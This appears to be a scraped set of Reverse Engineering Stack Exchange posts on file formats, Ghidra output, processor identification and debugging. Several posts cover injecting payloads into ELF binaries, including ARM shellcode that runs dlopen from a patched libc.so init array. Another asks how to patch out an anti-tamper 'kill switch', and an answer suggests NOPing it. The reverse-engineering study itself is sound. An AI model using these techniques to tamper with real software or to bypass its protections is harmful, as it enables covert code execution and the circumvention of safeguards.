payload_size, _, _) = struct.unpack_from(&quot;&lt;LLLLLLL&quot;, rawdat, offset) offset = offset + HEADER_STRUCT_SIZE assert(magic == 0x46464743) assert(metadata_size == count * METADATA_STRUCT_SIZE) metadata = [] for n in range(count): assert(len(rawdat) &gt;= offset + METADATA_STRUCT_SIZE) metadata.append(struct.unpack_from(&quot;&lt;LLLLLL&quot;, rawdat, offset)) offset = offset + METADATA_STRUCT_SIZE images = [] for im in metadata: images.append(HugoImage(im[2], im[3], rawdat, offset + im[5])) return images def main(args): if len(args) != 3: print(f&quot;usage: python3 {args[0]} palette.pal image.cgf&quot;) sys.exit(1) with open(args[1], &quot;rb&quot;) as infile: dat = infile.read() pal = HugoPalette(dat) with open(args[2], &quot;rb&quot;) as infile: dat = infile.read() images = load_images(dat) output_dir = args[2] + &quot;.extracted&quot; output_index = 0 try: os.makedirs(output_dir) except OSError as e: if e.errno != errno.EEXIST: raise for i in images: img = Image.new('RGBA', (i.width, i.height)) for y in range(i.height): for x in range(i.width): (index, alpha) = i.rows[y][x] pal_entry = pal.entries[index] col = (pal_entry[0], pal_entry[1],pal_entry[2], alpha) img.putpixel((x,y), col) img.save(os.path.join(output_dir, str(output_index) + &quot;.png&quot;), &quot;PNG&quot;) output_index = output_index + 1 if __name__ == '__main__': main(sys.argv) </code></pre>
26594
2020-12-20T12:21:13.267
<p>I've managed to extract some graphics files from an archive of an old game. Haven't found anything about it online, so I'm trying my luck here, prehaps someone knows a similar format that can help me. It's a somehow encrypted/compressed graphics format that uses an external palette. I've managed to display a different graphics format from the game, .raw files, that were very similar to NetPBM files. This format however isn't as straight forward.</p> <h2>Here's what I know:</h2> <p>File extension: .cgf<br /> File magic: CGFF<br /> <code>file</code>: data<br /> <code>binwalk -E</code>: 0.5 or 0.75, depends on &quot;compression type&quot;, pretty much uniform across file<br /> <code>binwalk -X</code>: DEFLATE streams, sometimes only 1 bit long (?)</p> <p>Header structure is as follows. Names are an educated guess on what the field could be. Every field is 4 bytes long, numbers are signed ints stored in little endian.<br /> Each line is 4 bytes in the file:</p> <pre><code>String CGFF (file magic) Compression type, either &quot;1&quot; or &quot;9&quot; across all files Number of layers Number of layers, multiplied by 24 File size. If my guess is right, this is probably an unsigned int &quot;0&quot; across all files but one, where it is &quot;250&quot; &quot;0&quot; across all files X Position | Y Position | Width | Height | &quot;38&quot; across all files | Offset into the file starting after the headers | </code></pre> <p>The last 6 entries seem to make up a unit that repeats once for every layer.</p> <p>Here's how I got to my guesses:</p> <ul> <li>Compression type: 1-files have a different entropy and structure than 9-files.</li> <li>Number of layers: Observarions like this: A file called &quot;Ballammo&quot; is loaded in a game where you have 10 snowballs to throw at targets. The header contains a &quot;10&quot; in this field. This works for other files too.</li> <li>Filesize: I had to guess this since the archive I extracted the files from stored incorrect file lengths, but in most cases the numbers are similar enough</li> <li>Position/Size: Files called &quot;Background&quot; always have the values 0 0 640 480. In some cases they were 640 480 -640 -480, hence my guess with the position. The size makes sense for a game of that time running in 4:3</li> <li>Layer offset: Guess, since the first entry is always 0 and the subsequent are bigger numbers. Also it lines up nicely like this.</li> </ul> <p>Regarding the file structure, 1-files have higher entropy and don't really show any pattern. In 9-files however, most of the time a byte is followed by 0xff, rarely by something else. It's not RLE, I've tried that.</p> <p>As requested, here's two hexdumps. One 9-compressed, one 1-compressed.<br /> <a href="https://pastebin.com/NGY79UgU" rel="nofollow noreferrer">https://pastebin.com/NGY79UgU</a></p> <p>Oh right, I should say how these are supposed to look like. &quot;Cursor.cgf&quot; should contain a two hand-like cursors, one pointing and one grabbing. Regarding &quot;Kid.cgf&quot;, the data says it contains 8 layers. Given the minigame the file loads in, this should contain 4 grinning mouths and 4 pairs of eyes.</p> <p>I also forgot to mention that both images have transparency, this could however be implemented using the palette the game loads.</p> <p>NOTE: I can't guarantee that these files are complete. They may contain garbage at the end or be incomplete. As I said, chances are good that the archive's stored file lengths are wrong, as I found a palette that contained the .wav header of the next file after extraction.</p> <p>Here's how some of the layers of the files given should look like when correctly loaded. Three &quot;Kid.cgf&quot;-layers are lined in red, while one of the &quot;Cursor.cgf&quot;-layers is lined in green. Boxes are not exact.<br /> <a href="https://i.stack.imgur.com/NzkW4.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/NzkW4.png" alt="enter image description here" /></a></p> <h2>UPDATE</h2> <p>I managed to point the game to an extracted file instead of an archived file and it loads just fine. After also writing a program that fully parses the header, extracting the layer data into seperate files and some minor experiments, here's my results <strong>on a type 1 image</strong>:</p> <ul> <li>The game doesn't mind files being too long.</li> <li>The data isn't just a bitmap. Assuming I correctly found the fields for width, height and layer offset, the lengths of the fields (= diff between two layer offsets) is always smaller than width*height. Also, randomly changing some bytes in the image section crashes that game on load.</li> <li>The x and y pos isn't relative to the screen but to something else. This was revealed by swapping two images; both were still drawn in the correct location.</li> <li>@pythonpython found the value 0x26 to be interesting. This value also is stored in the layer entries (I wrote '&quot;38&quot; in all files', see above).</li> <li>The image data contains info on where a &quot;pixel line&quot; ends. Example: Let a layer be 32x64. Swapping the header values for the image to be 64x32 results in an image that is cut off in the middle but gets displayed correctly.</li> </ul> <p>I'll keep experimenting and update accordingly.</p>
Opening an undocumented 90s graphics format
|file-format|unknown-data|
<p>The channel capacity of a single byte samples has a maximum of 8 bits.</p> <p>Another way of thinking about it: If a single byte has the same value for every sample, you need 0 additional bits of information to describe the values.</p> <p>If a single byte takes on 256 different values, [0 to 255], then for every sample you will need 8 additional bits of information to uniquely describe the values.</p> <p>For example, if you were measuring the Shannon Entropy of a collection of Short values (2 bytes / 16 bits) it would range from 0 (constant) to 16 (completely random).</p>
26595
2020-12-20T20:12:14.140
<p>Why is Shannon Entropy of individual sections always between 0-8. Also why we need to create a 256 freq array while calculating the Shannon Entropy?</p>
Shannon Entropy of Individual PE sections
|malware|
<p>Seems like you've already figured this out, but this is a Ghidra markup. It can be enabled/disabled via <code>Edit -&gt; Tool Options -&gt; Listing Fields -&gt; Operands Field -&gt; Always Show Primary Reference</code> Here's what the help says about the option:</p> <blockquote> <p><strong>Always Show Primary Reference</strong> - Option to force the display of the primary reference on all operands.Β  If a suitable sub-operand replacement can not be identified the primary reference will be appended to the operand preceded by a &quot;=&gt;&quot; prefix.</p> </blockquote>
26602
2020-12-21T09:09:52.640
<p>what does this arm instruction means?</p> <pre><code>LDRB param_1,[r12,r5]=&gt;local_b0 </code></pre> <p>In particular I don't understand the &quot;=&gt;local_b0&quot; part.</p> <p>Ghidra decompiles it to</p> <pre><code>local_b0._0_1_ = *(byte *)((int)&amp;local_b0 + iVar1); </code></pre> <p>but I don't know where the &quot;.<em>0_1</em>&quot; comes from.</p> <p>Thanks!</p>
What does the "=>" sign means in ARM assembly LDR?
|arm|ghidra|
<p>This is a lambda expression. When the lambda expression has captures it is compiled into a implementation defined structure. In my case the lambda has captures, using MSVC the structure was <a href="https://github.com/microsoft/STL/blob/1e8b8d4eef4b2dddeb7533c5231c876383bd0ea6/stl/inc/functional#L775-L801" rel="nofollow noreferrer"><code>_Func_Base</code></a> defined as:</p> <pre><code>#pragma warning(push) #pragma warning(disable : 4265) // class has virtual functions, but destructor is not virtual (/Wall) // CLASS TEMPLATE _Func_base template &lt;class _Rx, class... _Types&gt; class __declspec(novtable) _Func_base { // abstract base for implementation types public: virtual _Func_base* _Copy(void*) const = 0; virtual _Func_base* _Move(void*) noexcept = 0; virtual _Rx _Do_call(_Types&amp;&amp;...) = 0; virtual const type_info&amp; _Target_type() const noexcept = 0; virtual void _Delete_this(bool) noexcept = 0; #if _HAS_STATIC_RTTI const void* _Target(const type_info&amp; _Info) const noexcept { return _Target_type() == _Info ? _Get() : nullptr; } #endif // _HAS_STATIC_RTTI _Func_base() = default; _Func_base(const _Func_base&amp;) = delete; _Func_base&amp; operator=(const _Func_base&amp;) = delete; // dtor non-virtual due to _Delete_this() private: virtual const void* _Get() const noexcept = 0; }; #pragma warning(pop) </code></pre>
26614
2020-12-23T10:57:59.270
<p>I'm working on reversing a C++ application and I've come across a structure that contains a getter function that returns <code>TypeDescriptor*</code>, I've read some articles on RTTI and reversing C++ but can't find a structure that matches what I'm seeing.</p> <p>It <em>seems</em> to be a compiler generated structure because of the <code>TypeDescriptor</code> getter? I'm hoping someone can point me in the right direction. There's multiple of these structures, they are in mostly contiguous but not completely as far as I can see.</p> <p>Pseudo code for the struct looks like:</p> <pre><code>// These are all function pointers class SomeClazz { // func1/func2 are pointers to the same function. It looks like a constructor. void* func1(void* param1, void** param2); void* func2(void* param1, void** param2); // This function differs depending on the class. I believe this to be a implementation of a virtual function maybe? virtual void handler(); // Returns a pointer to a RTTI TypeDescriptor depending on the class TypeDescriptor* get_type_descriptor(); void get_something(); } </code></pre> <p>Here's code in the <code>func1/2</code> functions in case there's a hint of what it is:</p> <pre><code> undefined ** FUN_00125860(longlong param_1,undefined **param_2) { undefined4 uVar1; undefined4 uVar2; undefined4 uVar3; *param_2 = (undefined *)&amp;Vftable_maybe_00589ef0; uVar1 = *(undefined4 *)(param_1 + 0xc); uVar2 = *(undefined4 *)(param_1 + 0x10); uVar3 = *(undefined4 *)(param_1 + 0x14); *(undefined4 *)(param_2 + 1) = *(undefined4 *)(param_1 + 8); *(undefined4 *)((longlong)param_2 + 0xc) = uVar1; *(undefined4 *)(param_2 + 2) = uVar2; *(undefined4 *)((longlong)param_2 + 0x14) = uVar3; return param_2; } </code></pre> <p>Here's <code>get_type_descriptor</code>:</p> <pre><code>TypeDescriptor * class::get_type_descriptor(void) { return &amp;class_&lt;lambda_88a0d3301c644a20c1df3ad0c52a86e4&gt;_RTTI_Type_Descriptor; } //////////// LEA RAX, [class_&lt;lambda_88a0d3301c644a20c1df3ad0c52 ...] RET </code></pre> <p>Here's <code>get_something</code>, not sure what the purpose is or what it's doing:</p> <pre><code>LEA RAX, [RCX+0x8] RET </code></pre> <p>Any help/suggestions would be great. Thanks.</p>
C++ structure containing a RTTI getter function?
|binary-analysis|c++|ghidra|struct|
<p>This sounds analogous to given a document, infer the language.</p> <p>I'd compare the frequency (count for each value in the file) of instructions with the frequency of instructions derived from files for known processor types.</p> <p>Effectively a <a href="https://en.wikipedia.org/wiki/Language_model" rel="nofollow noreferrer">unigram model</a>. If you source the files in a common format I can give you a hand.</p>
26617
2020-12-24T16:27:23.117
<p>I have a text file and I know that it is a firmware of a device. This file have <a href="https://en.wikipedia.org/wiki/Intel_HEX" rel="nofollow noreferrer">Intel Hex Format</a> as below:</p> <pre><code>:03:8000:00:028100FA :02:8003:00:XXXXXX :02:800B:00:XXXXXX :02:8013:00:XXXXXX :01:801B:00:XXXX :01:8023:00:XXXX :10:802B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX :10:803B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX :10:804B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX :10:805B:00:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX </code></pre> <p>How can I find out what type of processor (Intel/ARM/PIC/...) this file belongs to? And how can I disassemble it?</p> <p>Frequency of bytes:</p> <pre><code>ebra@him:~$ cat single-byte-per-line | sort | uniq -c | sort -n 1 3 59 5 4C 6 49 6 57 6 5D 8 47 8 48 8 4A 8 4E 8 52 10 C6 11 7E 11 8F 11 9B 12 51 12 8E 12 95 12 9C 12 9D 12 B7 12 CE 13 CF 14 27 14 55 14 56 14 58 14 5C 14 7F 15 73 15 8D 15 9E 15 C7 15 D6 16 5F 16 D7 17 1B 17 A5 17 C8 17 CB 18 AF 18 B1 19 46 19 5A 19 8B 19 C1 20 D9 20 ED 21 72 21 94 21 A6 22 43 22 4F 22 71 22 AC 22 B9 22 C9 23 9F 23 A3 23 BE 24 42 24 AD 24 BD 24 BF 24 E9 25 4D 25 CC 26 87 26 A1 26 B8 26 E8 27 69 27 6F 27 88 28 F1 29 53 29 5E 29 61 29 77 29 BC 30 45 30 AB 31 1A 32 86 33 1E 33 4B 34 1C 35 1F 35 67 36 BB 36 EA 37 98 37 99 37 DD 37 F4 37 FD 38 2C 38 B2 40 3B 40 EE 41 25 41 97 41 E7 42 2D 42 D4 42 EF 43 1D 43 8C 44 5B 44 96 44 DC 46 28 46 3A 46 D5 46 DF 46 F7 46 FE 47 76 47 7D 48 C5 48 FC 49 D8 50 35 53 0E 53 B5 57 BA 57 E6 58 A7 58 C4 58 CA 59 19 59 21 59 AA 62 3D 62 A8 63 93 63 A9 65 34 65 8A 65 B0 65 F6 67 AE 67 D1 68 31 69 EC 70 26 70 41 71 14 71 81 72 23 72 3E 72 65 72 B6 74 F8 75 44 75 6B 76 64 76 7C 76 92 77 FF 78 37 78 91 78 B3 79 2F 80 A0 82 38 84 A2 85 DA 87 0D 90 24 91 6D 91 A4 93 18 95 62 95 CD 96 0B 96 3C 99 68 99 E4 101 6C 103 50 106 63 109 39 109 3F 109 DE 111 6E 112 6A 115 E1 116 36 117 70 117 89 118 D3 128 17 131 FB 134 D0 137 54 146 FA 149 0C 151 0A 154 F9 164 60 173 C3 174 2A 183 DB 184 C0 185 29 185 E3 189 16 191 83 200 2E 203 9A 204 66 207 F3 212 15 212 20 220 0F 221 7B 226 7A 240 33 241 E2 242 F5 244 EB 247 30 247 32 255 2B 256 06 261 10 275 13 284 07 286 40 288 E0 309 84 311 85 313 03 321 04 325 22 326 C2 327 F2 333 01 333 79 344 82 353 90 357 11 362 F0 376 80 414 05 422 78 436 09 467 74 489 D2 570 08 656 E5 889 B4 1301 12 1369 02 1717 00 2081 75 </code></pre> <p>And if I extract all 2-byte sequences which starts with <code>75</code>, I have:</p> <pre><code>ebra@him:~$ cat sequence-starts-with-75 | grep -o .... | sort | uniq -c | sort -n 1 7505 1 750D 1 750E 1 7514 1 7519 1 751F 1 7521 1 7522 1 7526 1 7527 1 752D 1 7530 1 7545 1 7547 1 7548 1 754D 1 754F 1 7557 1 755F 1 7560 1 756F 1 7570 1 7571 1 7572 1 7573 1 7581 1 7587 1 758B 1 7594 1 75A8 1 75B8 1 75C8 1 75CA 1 75CB 1 75CC 1 75CD 1 75E5 1 75F2 2 7501 2 7510 2 751D 2 7525 2 7534 2 7536 2 753C 2 753D 2 7566 2 758D 2 7598 2 7599 2 75B4 2 75D0 2 75D4 3 7523 3 752F 3 757A 3 758C 4 752E 4 753A 6 7535 6 7537 6 753B 6 753F 6 7567 6 7569 7 7500 7 7540 7 757B 7 758A 8 757C 8 75A0 10 7524 11 7563 11 7574 11 7576 11 7577 11 7579 12 7518 13 7575 14 752C 16 7565 16 7578 17 7517 17 75F0 18 7528 18 7564 19 7539 19 753E 27 7562 37 7515 37 7583 38 7516 45 7533 49 756A 49 756B 50 756C 52 756E 53 756D 58 7532 68 7512 73 7568 141 752B 143 7529 144 752A 169 7582 204 7513 248 7511 </code></pre> <p>For 3-bytes sequences which starts with 75:</p> <pre><code> ebra@him:~$ cat sequence-starts-with-75 | grep -o ...... | sort | uniq -c | sort -n .. [Truncated] ... 6 750075 6 752B03 6 752B08 6 753269 6 753F00 6 756BA4 6 757500 6 757800 6 758204 6 758205 6 75820B 6 75F000 7 75120A 7 752801 7 752B05 7 756E08 8 751101 8 752910 8 756BC0 8 756D0C 8 757400 8 75A000 9 751104 9 752803 9 758200 9 758203 10 752901 10 752C80 10 756BB2 11 751864 11 753200 11 756ABC 11 758208 12 753290 13 751210 14 752B01 14 752B10 14 753910 14 756C01 14 75820F 15 752B06 16 753E00 16 756BB0 17 7517FF 17 75326A 17 753300 18 752906 19 756811 19 756E00 19 758209 20 758201 21 752904 21 752B04 22 756D00 23 756C00 24 75820A 30 756A00 34 758202 35 752902 36 758301 37 752905 46 752B02 46 756810 65 751103 77 751102 79 751100 142 752A00 </code></pre>
How can I find out what type of processor an Intel Hex file belongs to?
|disassembly|arm|intel|pic|unknown-data|
<p>For any external functions used (e.g. libc functions), there will exist a stub in the binary's PLT for said function. When the program calls the function, it jumps to the PLT stub, which correctly handles finding the address of the function the first time it is called.</p> <p>For your purposes, you can read the PLT addresses or offsets from the binary, and use that for calling the library function. You could even use offsets to calculate addresses of and call functions that are not imported into the PLT.</p> <p>Even if you are injecting at the entry point of the program before any boilerplate initialization code, the program is still only run after the runtime dynamic linker/interpreter (ld.so) has set up the dynamically linked libraries, so I think you should be fine.</p>
26631
2020-12-27T10:58:52.793
<p>I am working on ELF-injector, which given some payload (currently it's an assembly file with .text section only) will inject it into ELF binary. I had related <a href="https://reverseengineering.stackexchange.com/questions/26386/elf-binary-injection">post</a> here.</p> <p>Now I would like to make it more usable and allow the payload call library functions linked by the victim (at least libc functions).</p> <p><em>Note:</em> I am changing first instructions of the entry point to execute my code first. Does it mean I cannot yet use dynamically linked functions?</p>
Call libc functions from the payload statically injected into ELF binary
|linux|c|elf|dll-injection|injection|
<p>ntohs basically converts a netshort to hostshort</p> <pre><code>&gt;&gt;&gt; import socket &gt;&gt;&gt; print (hex(socket.ntohs(0x1337))) 0x3713 &gt;&gt;&gt; print (hex(socket.ntohs(0x3713))) 0x1337 &gt;&gt;&gt; </code></pre> <p>it will write back 0x3713-0x2 = 0x3711 or 0x1337 - 0x2 = 0x1335<br /> in the address pointed by remaining if it is &gt; 1u</p> <p>and return back an address a pointer to pkt_hdr_t</p> <p>comment edit</p> <p>no remaining is an incoming pointer<br /> it is a writable address<br /> this function writes back whatever is remaining from the result of ntohs() call - 2 to this pointer<br /> it is like *blah = foo where foo is an unsigned short and blah is a pointer to unsigned short</p> <p>so it may be called like unsigned short * xyz = 0; pkt_whatever(abc,xyz) { xyz = some unsigned short whose value is 123xxyy }</p> <p>so on incoming xyz will be holding 0 when it goes out of the function xyz will be holding 123xxyy</p>
26641
2020-12-28T02:14:42.197
<p>I've decompiled a custom router ELF binary using Hex-Rays and have recently come across the following function in the binary:</p> <pre><code>pkt_hdr_t *__cdecl pkt_hdr_from_frame(frame_t *frame, uint16_t *remaining) { uint16_t *remaininga; // [xsp+10h] [xbp+10h] frame_t *framea; // [xsp+18h] [xbp+18h] uint16_t frame_sz; // [xsp+26h] [xbp+26h] framea = frame; remaininga = remaining; if ( !frame || !remaining ) return 0LL; frame_sz = ntohs(frame-&gt;sz.inner); if ( frame_sz &lt;= 1u ) return 0LL; *remaininga = frame_sz - 2; return (pkt_hdr_t *)&amp;framea[1]; } </code></pre> <p>While it's a pretty short piece of code, I'll appreciate it if the role of <code>remaining</code> and the <code>return</code> line can be figured out. I know that a frame is created from a packet by appending the length of a packet to the beginning of it and the length field is 2 bytes long itself. This seems related to <code>remaining</code> which is a pointer to a 16 bit (2 byte) unsigned integer. According to the line before <code>return</code> it seems to me that initially the value pointed to by <code>remaining</code> is the length of the frame, i.e., length of packet + 2 bytes of length field but the function <code>pkt_hdr_from_frame</code> removes those 2 bytes and returns a pointer to the field in the frame located after the packet-length field (which is the beginning of the packet itself). Nevertheless, I'm confused with <code>framea[1]</code> as I don't understand the indexing here, especially considering the fact that the <code>frame_t</code> type is unknown to me. Thank you for your help!</p> <p><strong>EDIT 1:</strong> IDA Pro Local Types tab gives (Ordinal, Name, Size, Sync, Description) as</p> <pre><code>31 frame_t 00000002 struct {uint16_n sz;uint8_t data[];} 63 _pkt_hdr_t 00000002 struct {pkt_flags_t flags;msg_type_t msgtype;} 64 pkt_hdr_t 00000002 typedef _pkt_hdr_t </code></pre>
What does this custom piece of frame manipulation code from a router binary do?
|ida|elf|hexrays|pointer|
<p>Assuming, that executable is not packed, and if you got to the killswitch already, just select some asm commands and look for them in debugger. then you can change necessary bytes with NOP. No recompilation would be necessary at all.</p> <p>Recompilation, even if successful, will make executable not exactly the same as original code.</p>
26642
2020-12-28T10:11:38.677
<p>I am using retdec to decompile a piece of software. It has a &quot;kill switch&quot; to detect if it's being run in an untrusted environment, in the decompiled code it just a simple</p> <pre><code>if (env_untrusted() == 1) abort() </code></pre> <p>so i'd like to remove that statement, thing is, the decompiled C code has <em>many</em> compilation errors. Is it possible to see what assembly corresponds to that function, and then change that assemlby to &quot;return 0&quot;?</p> <p>also, using objdump i can generate assembly, but not in a usable format, is there a way how i can make it print in a usable format so that i can compile that assembly?</p> <p>so in summary: i have decompiled an executable file using retdec into a C file. in that C file i found a function that i'd like to edit, but i cant compile the C file, so i need to find that function in the assembly, how can i do that?</p> <p>and as a by producct: how can i make objdump only print out assembly</p>
Link decompiled C code to Assembly (retdec decompiled object into C code, but with many errors, i found the kill switch which i need to edit)
|disassembly|assembly|c|objdump|
<p>I managed to find a solution.<br /> When the <strong>SIGTRAP</strong> emitted by the program causes a breakpoint in <strong>gdb</strong>, I use the command :</p> <pre><code>signal SIGTRAP </code></pre> <p>to send the signal to the program (and then to the handler), the program continues as expected.<br /> Don't need to use the &quot;handle&quot; command shown in the question, because it seems to make gdb malfunction.</p>
26650
2020-12-29T00:50:36.453
<p>I have a program that I am trying to reverse, which contains an <strong>int3 (0xCC)</strong> which emits a <strong>SIGTRAP</strong> signal, which is then handled by a <strong>sighandler</strong> defined in sigaction.<br /> The handler performs calculations on certain values.</p> <p>When I'm debugging with GDB, the SIGTRAP is raised, and the handler does not receive the signal because it is GDB which intercepts it. I need the signal to be caught in order to see what the handler is dynamically returning as a value.</p> <p>I tried to disable SIGTRAP interception with the command :</p> <pre><code>handle SIGTRAP nostop noprint noignore </code></pre> <p>but I have the following error:</p> <pre><code>Program terminated with signal SIGTRAP, Trace / breakpoint trap. The program no longer exists. </code></pre> <p>My goal is to make sure that I can let the SIGTRAP be intercepted by the sighandler and not by GDB, but still be able to launch the program and place breakpoints.</p>
How to let SIGTRAP get caught by sighandler in GDB?
|debugging|gdb|breakpoint|
<p>Is your binary relocated on load (ASLR)? In that case 14608 points to some random memory (probably unallocated). You need to use a position-independent instruction to load the address of the <code>dlopen</code> stub (e.g. <code>ADRL</code>).</p>
26660
2020-12-29T19:16:44.803
<p>I am currently working on an ELF-injector and my approach is standard: find code cave (long enough sequence of 0's), rewrite it with the instructions I want to execute and then jump back to the start of the original program to execute it as it normally would. <a href="https://i.stack.imgur.com/V6xii.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/V6xii.png" alt="ida" /></a></p> <p><a href="https://i.stack.imgur.com/yvhAf.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/yvhAf.png" alt="enter image description here" /></a></p> <p><a href="https://i.stack.imgur.com/j530d.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/j530d.png" alt="enter image description here" /></a></p> <pre><code>*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** Build fingerprint: 'Meizu/MeizuE3_CN/MeizuE3:7.1.1/NGI77B/1578882816:user/release-keys' Revision: '0' ABI: 'arm' pid: 14576, tid: 14576, name: load_lib.so &gt;&gt;&gt; ./load_lib.so &lt;&lt;&lt; signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x14608 r0 000775bd r1 00000002 r2 00014608 r3 0000000a r4 f2d62279 r5 f28bfcc0 r6 f2d04a90 r7 0000000a r8 f2d62279 r9 f2d725f0 sl f2d62268 fp ffc08818 ip 00000000 sp ffc08818 lr f28bfce0 pc 00014608 cpsr 800e0010 d0 0000000000000000 d1 0000000000000000 d2 0000000000000000 d3 0000000000000000 d4 0000000000000000 d5 0000000000000000 d6 0000000000000000 d7 0000000000000000 d8 0000000000000000 d9 0000000000000000 d10 0000000000000000 d11 0000000000000000 d12 0000000000000000 d13 0000000000000000 d14 0000000000000000 d15 0000000000000000 d16 0000001ff2c72000 d17 0000000000000000 d18 0000000000002a98 d19 0000000000001080 d20 0000000000000000 d21 0000000000000000 d22 0000000000000000 d23 0000000000000000 d24 0000000000000000 d25 0000000000000000 d26 0000000000000000 d27 0000000000000000 d28 0000000000000000 d29 0000000000000000 d30 0000000000000000 d31 0000000000000000 scr 80000000 backtrace: #00 pc 00014608 &lt;unknown&gt; #01 pc 00074cdc /data/local/tmp/libc.so stack: ffc087d8 f2d01370 [anon:linker_alloc] ffc087dc f2cff040 [anon:linker_alloc] ffc087e0 00000000 ffc087e4 00000002 ffc087e8 f2c77010 ffc087ec 00000001 ffc087f0 3f800000 ffc087f4 00000000 ffc087f8 f2d03d40 [anon:linker_alloc_small_objects] ffc087fc f2d03d40 [anon:linker_alloc_small_objects] ffc08800 f2d03d48 [anon:linker_alloc_small_objects] ffc08804 ffc08878 [stack] ffc08808 f2d04010 [anon:linker_alloc] ffc0880c f2d72010 ffc08810 f2d03d20 [anon:linker_alloc_small_objects] ffc08814 f2d03d20 [anon:linker_alloc_small_objects] #00 ffc08818 f2d04a90 [anon:linker_alloc] ........ ........ #01 ffc08818 f2d04a90 [anon:linker_alloc] ffc0881c f2d127e3 /system/bin/linker (__dl__ZN6soinfo13call_functionEPKcPFvvE+86) ffc08820 00000000 ffc08824 f2d01220 [anon:linker_alloc] ffc08828 00000001 ffc0882c 00000001 ffc08830 f28d0de0 /data/local/tmp/libc.so ffc08834 f2d12703 /system/bin/linker (__dl__ZN6soinfo10call_arrayEPKcPPFvvEjb+190) ffc08838 00000000 ffc0883c 00000000 ffc08840 00000000 ffc08844 f2d721d0 ffc08848 f2d62345 /system/bin/linker ffc0884c f2d04a90 [anon:linker_alloc] ffc08850 00000000 ffc08854 f2d721d0 </code></pre> <pre><code>//my shellcode e92d4800 push {fp, lr} e1a0b00d mov fp, sp e3042608 movw r2, #17928 ; 0x4608 e3402001 movt r2, #1 e30705bd movw r0, #30141 ; 0x75bd e3400007 movt r0, #7 e3a01002 mov r1, #2 e12fff32 blx r2 e3060e45 movw r0, #28229 ; 0x6e45 e3400001 movt r0, #1 e12fff30 blx r0 e8bd8800 pop {fp, pc} </code></pre> <pre><code>.init_array:00085DE0 ; ELF Initialization Function Table .init_array:00085DE0 ; =========================================================================== .init_array:00085DE0 .init_array:00085DE0 ; Segment type: Pure data .init_array:00085DE0 AREA .init_array, DATA .init_array:00085DE0 ; ORG 0x85DE0 .init_array:00085DE0 off_85DE0 DCD __start_ae ; DATA XREF: LOAD:off_9C↑o .init_array:00085DE0 ; LOAD:off_15C↑o .init_array:00085DE4 DCD sub_74CC0 ;&lt;---my shellcode--------- .init_array:00085DE8 DCD _GLOBAL__sub_I_libgen.cpp+1 .init_array:00085DEC DCD _GLOBAL__sub_I_mntent.cpp+1 .init_array:00085DF0 DCD _GLOBAL__sub_I_pty.cpp+1 .init_array:00085DF4 DCD _GLOBAL__sub_I_strerror.cpp+1 .init_array:00085DF8 DCD _GLOBAL__sub_I_strsignal.cpp+1 .init_array:00085DFC DCD _GLOBAL__sub_I_stubs.cpp+1 .init_array:00085E00 DCD __res_key_init+1 .init_array:00085E04 DCD jemalloc_constructor+1 .init_array:00085E04 ; .init_array ends .init_array:00085E04 </code></pre> <pre><code>.text:00074CC0 sub_74CC0 ; DATA XREF: .init_array:00085DE4↓o .text:00074CC0 STMFD SP!, {R11,LR} .text:00074CC4 MOV R11, SP .text:00074CC8 MOV R2, #0x14608 .text:00074CD0 MOV R0, #(aSLibomegaSo+4) ; file .text:00074CD8 MOV R1, #2 ; mode .text:00074CDC BLX R2 ; dlopen;&lt;---When the code runs here , got signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x14608 .text:00074CE0 MOV R0, #0x16E45 .text:00074CE8 BLX R0 ; __libc_preinit(void) .text:00074CEC LDMFD SP!, {R11,PC} .text:00074CEC ; End of function sub_74CC0 .text:00074CEC </code></pre> <pre><code>.plt:00014608 .plt:00014608 ; =============== S U B R O U T I N E ======================================= .plt:00014608 .plt:00014608 ; Attributes: thunk .plt:00014608 .plt:00014608 ; void *dlopen(const char *file, int mode) .plt:00014608 dlopen ; CODE XREF: __libc_init_malloc(libc_globals *)+84↓p .plt:00014608 ; netdClientInitImpl(void)+8↓p ... .plt:00014608 ADRL R12, 0x87610 .plt:00014610 LDR PC, [R12,#(dlopen_ptr - 0x87610)]! ; __imp_dlopen .plt:00014610 ; End of function dlopen .plt:00014610 </code></pre> <p>I've looked up a lot of relevant posts, but I still don't have a clue.</p> <p>A week, I still have not found the specific reason, I sincerely hope someone can help me</p>
Injecting code into an ELF binary , got Segmentation fault(SIGSEGV)
|ida|arm|elf|shellcode|dll-injection|
<p>The x86/x64 instruction set is variable length and there are no obvious instruction boundaries. You can make use of a <em>length disassembler</em> to figure out how long each instruction is. There are a bunch of them available, here’s a few I found by a quick search:</p> <p><a href="https://github.com/greenbender/lend" rel="nofollow noreferrer">https://github.com/greenbender/lend</a></p> <p><a href="https://github.com/Nomade040/length-disassembler" rel="nofollow noreferrer">https://github.com/Nomade040/length-disassembler</a></p> <p><a href="https://github.com/GiveMeZeny/fde64" rel="nofollow noreferrer">https://github.com/GiveMeZeny/fde64</a></p>
26662
2020-12-29T20:40:13.053
<p>I'm working on a static code injector for ELF files. I need to &quot;steal&quot; some bytes in order to write jump to my code on their place and then execute stolen instructions somewhere in the payload. However I don't know how to automate it. I will need to steal at least 5 bytes for my jump instruction, but obviously not always 5 bytes equal to the whole number of instructions, so I might have to <code>nop</code> several bytes.</p> <p>What are the ways to distinguish instructions, given bytes in ELF binary( C/C++ preferably ) ?</p>
How to split bytes into instructions in binary ELF file for x86
|x86|c++|linux|elf|injection|
